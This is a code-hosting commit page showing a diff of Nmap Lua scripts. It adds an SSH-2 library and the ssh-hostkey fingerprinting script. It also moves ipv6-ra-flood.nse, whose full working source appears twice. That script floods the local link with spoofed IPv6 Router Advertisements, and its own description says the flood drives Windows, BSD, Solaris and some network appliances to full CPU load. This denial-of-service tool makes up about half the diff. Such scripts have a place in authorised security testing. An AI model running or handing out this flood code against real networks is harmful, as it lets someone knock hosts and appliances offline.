Commits

Adam Števko committed e2e8dc9

Small reorganization of the file structure, added SSH-related library and ssh-hostkey.nse

Comments (0)

Files changed (4)

ipv6-ra-flood.nse

-local nmap = require "nmap"
-local packet = require "packet"
-local stdnse = require "stdnse"
-local math = require "math"
-local string = require "string"
-local os = require "os"
-
-description = [[ Generates a flood of Router Adverisments (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS), 
-will start to compute IPv6 suffix and update their routing table to reflect the accepted annoucement. This will cause 100% CPU usage, thus preventing to process other application requests.
-
-Vulnerable platforms:
-* All Cisco IOS ASA with firmware < November 2010
-* All Netscreen versions supporting IPv6
-* Windows 2000/XP/2003/Vista/7/2008/8/2012 
-* All FreeBSD versions
-* All NetBSD versions
-* All Solaris/Illumos versions 
-
-Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt
-
-WARNING: This script is dangerous and is very likely to bring down a server or network appliance. 
-It should not be run in a production environment unless you (and, more importantly,
-the business) understand the risks! 
-
-Additional documents: https://tools.ietf.org/rfc/rfc6104.txt
-]]
-
----
--- @args ipv6-ra-flood.interface defines interface we should broadcast on
--- @args ipv6-ra-flood.timeout runs the script until the timeout (in seconds) is reached (default: 30s). If timeout is zero, the script will run forever.
---
--- @usage
--- nmap -6 --script ipv6-ra-flood.nse
--- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>'
--- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>,timeout=10s'
---
--- @output
--- n/a
-
-author = "Adam Števko"
-license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
-categories = {"dos", "intrusive"}
-
-try = nmap.new_try()
-
-math.randomseed(os.time())
-
-prerule = function()
-	if nmap.address_family() ~= "inet6" then
-	 	stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
-		return false 
-	end
-	
-	if not nmap.is_privileged() then
-		stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)	
-		return false 
-	end
-
-	if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
-		stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)	
-		return false 
-	end
-
-	return true
-end
-
-local function get_interface()
-	local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
-
-	local if_table = nmap.get_interface_info(arg_interface)
-	
-	if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
-			return if_table.device
-		else
-			stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
-	end			
-end
-
---- Generates random MAC address
--- @return mac string containing random MAC address 
-local function random_mac()
-
-	local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
-	return mac
-end
-
---- Generates random IPv6 prefix
--- @return prefix string containing random IPv6 /64 prefix
-local function get_random_prefix()
-	local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
-
-	return prefix
-end
-
---- Build an ICMPv6 payload of Router Advertisement.
--- @param mac_src six-byte string of the source MAC address.
--- @param prefix 16-byte string of IPv6 address.
--- @param prefix_len integer that represents the length of the prefix.
--- @param valid_time integer that represents the valid time of the prefix.
--- @param preferred_time integer that represents the preferred time of the prefix.
--- @param mtu integer that represents MTU of the link
--- @return icmpv6_payload string representing ICMPv6 RA payload
-
-local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
-	local ra_msg = string.char(0x0, --cur hop limit
-		0x08, --flags
-		0x00,0x00, --router lifetime
-		0x00,0x00,0x00,0x00, --reachable time
-		0x00,0x00,0x00,0x00) --retrans timer
-
-	local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved 
-		packet.numtostr32(mtu) -- MTU
-
-	local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
-		packet.set_u32("....", 0, valid_time) .. -- valid lifetime
-		packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
-		string.char(0,0,0,0) .. --unknown
-		prefix
-
-	local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
-	local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
-	local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
-	
-	local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
-
-	return icmpv6_payload
-end
-
---- Broadcasting on the selected interface
--- @param iface table containing interface information 
-local function broadcast_on_interface(iface)
-	stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
-
-	-- packet counter
-	local counter = 0
-
-	local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout") or "30s")
-
-	local dnet = nmap.new_dnet()
-
-	try(dnet:ethernet_open(iface))
-	
-	local dst_mac = packet.mactobin("33:33:00:00:00:01")
-	local dst_ip6_addr = packet.ip6tobin("ff02::1")
-	
-	local prefix_len = 64
-	
-	--- maximum possible value of 4-byte integer
-	local valid_time = tonumber(0xffffffff)
-	local preffered_time = tonumber(0xffffffff) 
-	
-	local mtu = 1500
-
-	local start, stop = os.time()
-
-	while true do
-
-		local src_mac = packet.mactobin(random_mac()) 
-		local src_ip6_addr = packet.mac_to_lladdr(src_mac)
-		
-		local prefix = packet.ip6tobin(get_random_prefix())
-		
-		local packet = packet.Frame:new()
-
-		packet.mac_src = src_mac
-		packet.mac_dst = dst_mac
-		packet.ip_bin_src = src_ip6_addr
-		packet.ip_bin_dst = dst_ip6_addr
-		
-		local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
-		packet:build_icmpv6_header(134, 0, icmpv6_payload)
-		packet:build_ipv6_packet()
-		packet:build_ether_frame()
-
-		try(dnet:ethernet_send(packet.frame_buf))
-
-		counter = counter + 1
-
-		if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
-			stop = os.time()
-			break
-		end
-	end
-
-	if counter > 0 then
-		stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
-	end
-end
-
-function action()
-	interface = get_interface()
-	
-	broadcast_on_interface(interface)
-end
+---
+-- Functions for the SSH-2 protocol.
+--
+-- @author Sven Klemm <sven@c3d2.de>
+-- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html
+
+module(... or "ssh2",package.seeall)
+
+require "bin"
+require "base64"
+require "openssl"
+require "stdnse"
+
+-- table holding transport layer functions
+transport = {}
+
+-- table of SSH-2 constants
+local SSH2
+
+--- Retrieve the size of the packet that is being received
+--  and checks if it is fully received
+-- 
+--  This function is very similar to the function generated
+--  with match.numbytes(num) function, except that this one
+--  will check for the number of bytes on-the-fly, based on
+--  the written on the SSH packet.
+--
+--  @param buffer The receive buffer
+--  @return packet_length, packet_length or nil
+--  the return is similar to the lua function string:find()
+check_packet_length = function( buffer )
+  if #buffer < 4 then return nil end -- not enough data in buffer for int
+  local packet_length, offset
+  offset, packet_length = bin.unpack( ">I", buffer )
+  assert(packet_length)
+  if packet_length + 4 > buffer:len() then return nil end
+  return packet_length+4, packet_length+4
+end
+
+--- Receives a complete SSH packet, even if fragmented
+--  this function is an abstraction layer to deal with
+--  checking the packet size to know if there is any more
+--  data to receive.
+--
+--  @param socket The socket used to receive the data
+--  @return status True or false
+--  @return packet The packet received
+transport.receive_packet = function( socket )
+  local status, packet = socket:receive_buf(check_packet_length, true)
+  return status, packet
+end
+
+--- Pack a multiprecision integer for sending.
+-- @param bn <code>openssl</code> bignum.
+-- @return Packed multiprecision integer.
+transport.pack_mpint = function( bn )
+  local bytes, packed
+  bytes = bn:num_bytes()
+  packed = bn:tobin()
+  if bytes % 8 == 0 then
+    bytes = bytes + 1
+    packed = string.char(0) .. packed
+  end
+  return bin.pack( ">IA", bytes, packed )
+end
+
+--- Build an SSH-2 packet.
+-- @param payload Payload of the packet.
+-- @return Packet to send on the wire.
+transport.build = function( payload )
+  local packet_length, padding_length
+  padding_length = 8 - ( (payload:len() + 1 + 4 ) % 8 )
+  packet_length = payload:len() + padding_length + 1
+  return bin.pack( ">IcAA", packet_length, padding_length, payload, openssl.rand_pseudo_bytes( padding_length ) )
+end
+
+--- Extract the payload from a received SSH-2 packet.
+-- @param packet Peceived SSH-2 packet.
+-- @return Payload of the SSH-2 packet.
+transport.payload = function( packet )
+  local packet_length, padding_length, payload_length, payload, offset
+  offset, packet_length = bin.unpack( ">I", packet )
+  packet = packet:sub(offset);
+  offset, padding_length = bin.unpack( ">c", packet )
+  assert(packet_length and padding_length)
+  payload_length = packet_length - padding_length - 1
+  if packet_length ~= packet:len() then
+    stdnse.print_debug("SSH-2 packet doesn't match length: payload_length is %d but total length is only %d.", packet_length, packet:len())
+    return nil
+  end
+  offset, payload = bin.unpack( ">A" .. payload_length, packet, offset )
+  return payload
+end
+
+--- Build a <code>kexdh_init</code> packet.
+transport.kexdh_init = function( e )
+  return bin.pack( ">cA", SSH2.SSH_MSG_KEXDH_INIT, transport.pack_mpint( e ) )
+end
+
+--- Build a <code>kex_init</code> packet.
+transport.kex_init = function( options )
+  options = options or {}
+  local cookie = options['cookie'] or openssl.rand_bytes( 16 )
+  local kex_algorithms = options['kex_algorithms'] or "diffie-hellman-group1-sha1"
+  local host_key_algorithms = options['host_key_algorithms'] or "ssh-dss,ssh-rsa"
+  local encryption_algorithms = options['encryption_algorithms'] or "aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr"
+  local mac_algorithms = options['mac_algorithms'] or "hmac-md5,hmac-sha1,hmac-ripemd160"
+  local compression_algorithms = options['compression_algorithms'] or "none"
+  local languages = options['languages'] or ""
+
+  local payload = bin.pack( ">cAaa", SSH2.SSH_MSG_KEXINIT, cookie, kex_algorithms, host_key_algorithms )
+  payload = payload .. bin.pack( ">aa", encryption_algorithms, encryption_algorithms )
+  payload = payload .. bin.pack( ">aa", mac_algorithms, mac_algorithms )
+  payload = payload .. bin.pack( ">aa", compression_algorithms, compression_algorithms )
+  payload = payload .. bin.pack( ">aa", languages, languages )
+  payload = payload .. bin.pack( ">cI", 0, 0 )
+
+  return payload
+end
+
+--- Parse a <code>kexinit</code> package.
+--
+-- Returns an empty table in case of an error
+transport.parse_kex_init = function( payload ) 
+  local _, offset, msg_code, parsed, fields, fieldname
+  parsed = {}
+
+  -- check for proper msg code
+  offset, msg_code = bin.unpack( ">c", payload )
+  if msg_code ~= SSH2.SSH_MSG_KEXINIT then return {} end
+
+  offset, parsed.cookie = bin.unpack( ">A16", payload, offset )
+
+  fields = {'kex_algorithms','server_host_key_algorithms',
+    'encryption_algorithms_client_to_server','encryption_algorithms_server_to_client',
+    'mac_algorithms_client_to_server','mac_algorithms_server_to_client',
+    'compression_algorithms_client_to_server','compression_algorithms_server_to_client',
+    'languages_client_to_server','languages_server_to_client'}
+  for _, fieldname in pairs( fields ) do
+    offset, parsed[fieldname] = bin.unpack( ">a", payload, offset )
+  end
+
+  return parsed
+end
+
+
+--- Fetch an SSH-2 host key.
+-- @param host Nmap host table.
+-- @param port Nmap port table.
+-- @param key_type key type to fetch.
+-- @return A table with the following fields: <code>key</code>,
+-- <code>key_type</code>, <code>fp_input</code>, <code>bits</code>,
+-- <code>full_key</code>, <code>algorithm</code>, and <code>fingerprint</code>.
+fetch_host_key = function( host, port, key_type )
+  local socket = nmap.new_socket()
+  local status
+
+  -- oakley group 2 prime taken from rfc 2409
+  local prime = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF"
+
+  status = socket:connect(host, port)
+  if not status then return end
+  -- fetch banner
+  status = socket:receive_lines(1)
+  if not status then socket:close(); return end
+  -- send our banner
+  status = socket:send("SSH-2.0-Nmap-SSH2-Hostkey\r\n")
+  if not status then socket:close(); return end
+
+  local packet = transport.build( transport.kex_init( {host_key_algorithms=key_type} ) )
+  status = socket:send( packet )
+  if not status then socket:close(); return end
+
+  local kex_init
+  status, kex_init = transport.receive_packet( socket )
+  if not status then socket:close(); return end
+  kex_init = transport.parse_kex_init( transport.payload( kex_init ) )
+
+  if not tostring(kex_init.server_host_key_algorithms):find( key_type, 1, true ) then
+    -- server does not support host key type
+    stdnse.print_debug( 2, "Hostkey type '%s' not supported by server.", key_type )
+    return
+  end
+
+  local e, g, x, p
+  -- e = g^x mod p
+  g = openssl.bignum_dec2bn( "2" )
+  p = openssl.bignum_hex2bn( prime )
+  x = openssl.bignum_pseudo_rand( 1024 )
+  e = openssl.bignum_mod_exp( g, x, p )
+
+  packet = transport.build( transport.kexdh_init( e ) )
+  status = socket:send( packet )
+  if not status then socket:close(); return end
+
+  local kexdh_reply
+  status, kexdh_reply = transport.receive_packet( socket )
+  kexdh_reply = transport.payload( kexdh_reply )
+  -- check for proper msg code
+  if kexdh_reply:byte(1) ~= SSH2.SSH_MSG_KEXDH_REPLY then
+    return
+  end
+
+  local _,public_host_key,bits,algorithm
+  _, _, public_host_key = bin.unpack( ">ca", kexdh_reply )
+
+  if key_type == 'ssh-dss' then
+    algorithm = "DSA"
+    local p
+    _, _, p = bin.unpack( ">aa", public_host_key )
+    bits = openssl.bignum_bin2bn( p ):num_bits()
+  elseif key_type == 'ssh-rsa' then
+    algorithm = "RSA"
+    local n
+    _, _, _, n = bin.unpack( ">aaa", public_host_key )
+    bits = openssl.bignum_bin2bn( n ):num_bits()
+  else
+    stdnse.print_debug( "Unsupported key type: %s", key_type )
+  end
+
+  return { key=public_host_key, key_type=key_type, fp_input=public_host_key, bits=bits,
+           full_key=('%s %s'):format(key_type,base64.enc(public_host_key)),
+           algorithm=algorithm, fingerprint=openssl.md5(public_host_key) }
+end
+
+-- constants
+
+SSH2 = {
+  SSH_MSG_DISCONNECT = 1,
+  SSH_MSG_IGNORE = 2,
+  SSH_MSG_UNIMPLEMENTED = 3,
+  SSH_MSG_DEBUG = 4,
+  SSH_MSG_SERVICE_REQUEST = 5,
+  SSH_MSG_SERVICE_ACCEPT = 6,
+  SSH_MSG_KEXINIT = 20,
+  SSH_MSG_NEWKEYS = 21,
+  SSH_MSG_KEXDH_INIT = 30,
+  SSH_MSG_KEXDH_REPLY = 31,
+}
+

scripts/ipv6-ra-flood.nse

+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local math = require "math"
+local string = require "string"
+local os = require "os"
+
+description = [[ Generates a flood of Router Adverisments (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS), 
+will start to compute IPv6 suffix and update their routing table to reflect the accepted annoucement. This will cause 100% CPU usage, thus preventing to process other application requests.
+
+Vulnerable platforms:
+* All Cisco IOS ASA with firmware < November 2010
+* All Netscreen versions supporting IPv6
+* Windows 2000/XP/2003/Vista/7/2008/8/2012 
+* All FreeBSD versions
+* All NetBSD versions
+* All Solaris/Illumos versions 
+
+Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt
+
+WARNING: This script is dangerous and is very likely to bring down a server or network appliance. 
+It should not be run in a production environment unless you (and, more importantly,
+the business) understand the risks! 
+
+Additional documents: https://tools.ietf.org/rfc/rfc6104.txt
+]]
+
+---
+-- @args ipv6-ra-flood.interface defines interface we should broadcast on
+-- @args ipv6-ra-flood.timeout runs the script until the timeout (in seconds) is reached (default: 30s). If timeout is zero, the script will run forever.
+--
+-- @usage
+-- nmap -6 --script ipv6-ra-flood.nse
+-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>'
+-- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=<interface>,timeout=10s'
+--
+-- @output
+-- n/a
+
+author = "Adam Števko"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"dos", "intrusive"}
+
+try = nmap.new_try()
+
+math.randomseed(os.time())
+
+prerule = function()
+	if nmap.address_family() ~= "inet6" then
+	 	stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
+		return false 
+	end
+	
+	if not nmap.is_privileged() then
+		stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)	
+		return false 
+	end
+
+	if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
+		stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)	
+		return false 
+	end
+
+	return true
+end
+
+local function get_interface()
+	local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
+
+	local if_table = nmap.get_interface_info(arg_interface)
+	
+	if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
+			return if_table.device
+		else
+			stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
+	end			
+end
+
+--- Generates random MAC address
+-- @return mac string containing random MAC address 
+local function random_mac()
+
+	local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
+	return mac
+end
+
+--- Generates random IPv6 prefix
+-- @return prefix string containing random IPv6 /64 prefix
+local function get_random_prefix()
+	local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
+
+	return prefix
+end
+
+--- Build an ICMPv6 payload of Router Advertisement.
+-- @param mac_src six-byte string of the source MAC address.
+-- @param prefix 16-byte string of IPv6 address.
+-- @param prefix_len integer that represents the length of the prefix.
+-- @param valid_time integer that represents the valid time of the prefix.
+-- @param preferred_time integer that represents the preferred time of the prefix.
+-- @param mtu integer that represents MTU of the link
+-- @return icmpv6_payload string representing ICMPv6 RA payload
+
+local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
+	local ra_msg = string.char(0x0, --cur hop limit
+		0x08, --flags
+		0x00,0x00, --router lifetime
+		0x00,0x00,0x00,0x00, --reachable time
+		0x00,0x00,0x00,0x00) --retrans timer
+
+	local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved 
+		packet.numtostr32(mtu) -- MTU
+
+	local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
+		packet.set_u32("....", 0, valid_time) .. -- valid lifetime
+		packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
+		string.char(0,0,0,0) .. --unknown
+		prefix
+
+	local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
+	local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
+	local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
+	
+	local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
+
+	return icmpv6_payload
+end
+
+--- Broadcasting on the selected interface
+-- @param iface table containing interface information 
+local function broadcast_on_interface(iface)
+	stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
+
+	-- packet counter
+	local counter = 0
+
+	local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout") or "30s")
+
+	local dnet = nmap.new_dnet()
+
+	try(dnet:ethernet_open(iface))
+	
+	local dst_mac = packet.mactobin("33:33:00:00:00:01")
+	local dst_ip6_addr = packet.ip6tobin("ff02::1")
+	
+	local prefix_len = 64
+	
+	--- maximum possible value of 4-byte integer
+	local valid_time = tonumber(0xffffffff)
+	local preffered_time = tonumber(0xffffffff) 
+	
+	local mtu = 1500
+
+	local start, stop = os.time()
+
+	while true do
+
+		local src_mac = packet.mactobin(random_mac()) 
+		local src_ip6_addr = packet.mac_to_lladdr(src_mac)
+		
+		local prefix = packet.ip6tobin(get_random_prefix())
+		
+		local packet = packet.Frame:new()
+
+		packet.mac_src = src_mac
+		packet.mac_dst = dst_mac
+		packet.ip_bin_src = src_ip6_addr
+		packet.ip_bin_dst = dst_ip6_addr
+		
+		local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
+		packet:build_icmpv6_header(134, 0, icmpv6_payload)
+		packet:build_ipv6_packet()
+		packet:build_ether_frame()
+
+		try(dnet:ethernet_send(packet.frame_buf))
+
+		counter = counter + 1
+
+		if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
+			stop = os.time()
+			break
+		end
+	end
+
+	if counter > 0 then
+		stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
+	end
+end
+
+function action()
+	interface = get_interface()
+	
+	broadcast_on_interface(interface)
+end

scripts/ssh-hostkey.nse

+description = [[
+Shows SSH hostkeys.
+
+Shows the target SSH server's key fingerprint and (with high enough verbosity level) the public key itself.  It records the discovered host keys in <code>nmap.registry</code> for use by other scripts.  Output can be controlled with the <code>ssh_hostkey</code> script argument.
+
+The script also includes a postrule that check for duplicate hosts using the gathered keys.
+]]
+
+---
+--@usage
+-- nmap host --script SSH-hostkey --script-args ssh_hostkey=full
+-- nmap host --script SSH-hostkey --script-args ssh_hostkey=all
+-- nmap host --script SSH-hostkey --script-args ssh_hostkey='visual bubble'
+--
+--@args ssh_hostkey Controls the output format of keys. Multiple values may be
+-- given, separated by spaces. Possible values are
+-- * <code>"full"</code>: The entire key, not just the fingerprint.
+-- * <code>"bubble"</code>: Bubble Babble output,
+-- * <code>"visual"</code>: Visual ASCII art representation.
+-- * <code>"all"</code>: All of the above.
+--
+--@output
+-- 22/tcp open  ssh
+-- |  ssh-hostkey: 2048 f0:58:ce:f4:aa:a4:59:1c:8e:dd:4d:07:44:c8:25:11 (RSA)
+-- 22/tcp open  ssh
+-- |  ssh-hostkey: 2048 f0:58:ce:f4:aa:a4:59:1c:8e:dd:4d:07:44:c8:25:11 (RSA)
+-- |  +--[ RSA 2048]----+
+-- |  |       .E*+      |
+-- |  |        oo       |
+-- |  |      . o .      |
+-- |  |       O . .     |
+-- |  |      o S o .    |
+-- |  |     = o + .     |
+-- |  |    . * o .      |
+-- |  |     = .         |
+-- |  |    o .          |
+-- |_ +-----------------+
+-- 22/tcp open  ssh
+-- |  ssh-hostkey: 2048 xuvah-degyp-nabus-zegah-hebur-nopig-bubig-difeg-hisym-rumef-cuxex (RSA)
+-- |_ ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVuv2gcr0maaKQ69VVIEv2ob4OxnuI64fkeOnCXD1lUx5tTA+vefXUWEMxgMuA7iX4irJHy2zer0NQ3Z3yJvr5scPgTYIaEOp5Uo/eGFG9Agpk5wE8CoF0e47iCAPHqzlmP2V7aNURLMODb3jVZuI07A2ZRrMGrD8d888E2ORVORv1rYeTYCqcMMoVFmX9l3gWEdk4yx3w5sD8v501Iuyd1v19mPfyhrI5E1E1nl/Xjp5N0/xP2GUBrdkDMxKaxqTPMie/f0dXBUPQQN697a5q+5lBRPhKYOtn6yQKCd9s1Q22nxn72Jmi1RzbMyYJ52FosDT755Qmb46GLrDMaZMQ==
+--
+--@output
+-- Post-scan script results:
+-- | ssh-hostkey: Possible duplicate hosts
+-- | Key 1024 60:ac:4d:51:b1:cd:85:09:12:16:92:76:1d:5d:27:6e (DSA) used by:
+-- |   192.168.1.1
+-- |   192.168.1.2
+-- | Key 2048 2c:22:75:60:4b:c3:3b:18:a2:97:2c:96:7e:28:dc:dd (RSA) used by:
+-- |   192.168.1.1
+-- |_  192.168.1.2
+--
+
+author = "Sven Klemm"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"safe","default","discovery"}
+
+require("ipOps")
+require("shortport")
+require("stdnse")
+stdnse.silent_require("openssl")
+require("ssh1")
+require("ssh2")
+
+portrule = shortport.port_or_service(22, "ssh")
+
+postrule = function() return (nmap.registry.sshhostkey ~= nil) end
+
+--- put hostkey in the nmap registry for usage by other scripts
+--@param host nmap host table
+--@param key host key table
+local add_key_to_registry = function( host, key )
+  nmap.registry.sshhostkey = nmap.registry.sshhostkey or {}
+  nmap.registry.sshhostkey[host.ip] = nmap.registry.sshhostkey[host.ip] or {}
+  table.insert( nmap.registry.sshhostkey[host.ip], key )
+end
+
+--- gather host keys
+--@param host nmap host table
+--@param port nmap port table of the currently probed port
+local function portaction(host, port)
+  local output = {}
+  local keys = {}
+  local _,key
+  local format = nmap.registry.args.ssh_hostkey or "hex"
+  local all_formats = format:find( 'all', 1, true )
+
+  key = ssh1.fetch_host_key( host, port )
+  if key then table.insert( keys, key ) end
+
+  key = ssh2.fetch_host_key( host, port, "ssh-dss" )
+  if key then table.insert( keys, key ) end
+
+  key = ssh2.fetch_host_key( host, port, "ssh-rsa" )
+  if key then table.insert( keys, key ) end
+
+  for _, key in ipairs( keys ) do
+    add_key_to_registry( host, key )
+    if format:find( 'hex', 1, true ) or all_formats then
+      table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) )
+    end
+    if format:find( 'bubble', 1, true ) or all_formats then
+      table.insert( output, ssh1.fingerprint_bubblebabble( openssl.sha1(key.fp_input), key.algorithm, key.bits ) )
+    end
+    if format:find( 'visual', 1, true ) or all_formats then
+      -- insert empty line so table is not destroyed if this is the first
+      -- line of output
+      if #output == 0 then table.insert( output, " " ) end
+      table.insert( output, ssh1.fingerprint_visual( key.fingerprint, key.algorithm, key.bits ) )
+    end
+    if nmap.verbosity() > 1 or format:find( 'full', 1, true ) or all_formats then
+      table.insert( output, key.full_key )
+    end
+  end
+
+  if #output > 0 then
+    return table.concat( output, '\n' )
+  end
+end
+
+--- check for the presence of a value in a table
+--@param tab the table to search into
+--@param item the searched value
+--@return a boolean indicating whether the value has been found or not
+local function contains(tab, item)
+  for _, val in pairs(tab) do
+    if val == item then
+      return true
+    end
+  end
+  return false
+end
+
+--- iterate over the list of gathered keys and look for duplicate hosts (sharing the same hostkeys)
+local function postaction()
+  local hostkeys = {}
+  local output = {}
+
+  -- create a reverse mapping key_fingerprint -> host(s)
+  for ip, keys in pairs(nmap.registry.sshhostkey) do
+    for _, key in ipairs(keys) do
+      local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
+      if not hostkeys[fp] then
+        hostkeys[fp] = {}
+      end
+      -- discard duplicate IPs
+      if not contains(hostkeys[fp], ip) then
+        table.insert(hostkeys[fp], ip)
+      end
+    end
+  end
+
+  -- look for hosts using the same hostkey
+  for key, hosts in pairs(hostkeys) do
+    if #hostkeys[key] > 1 then
+      table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+      local str = 'Key ' .. key .. ' used by:'
+      for _, host in ipairs(hostkeys[key]) do
+        str = str .. '\n  ' .. host
+      end
+      table.insert(output, str)
+    end
+  end
+
+  if #output > 0 then
+    return 'Possible duplicate hosts\n' .. table.concat(output, '\n')
+  end
+end
+
+local ActionsTable = {
+  -- portrule: retrieve ssh hostkey
+  portrule = portaction,
+  -- postrule: look for duplicate hosts (same hostkey)
+  postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
+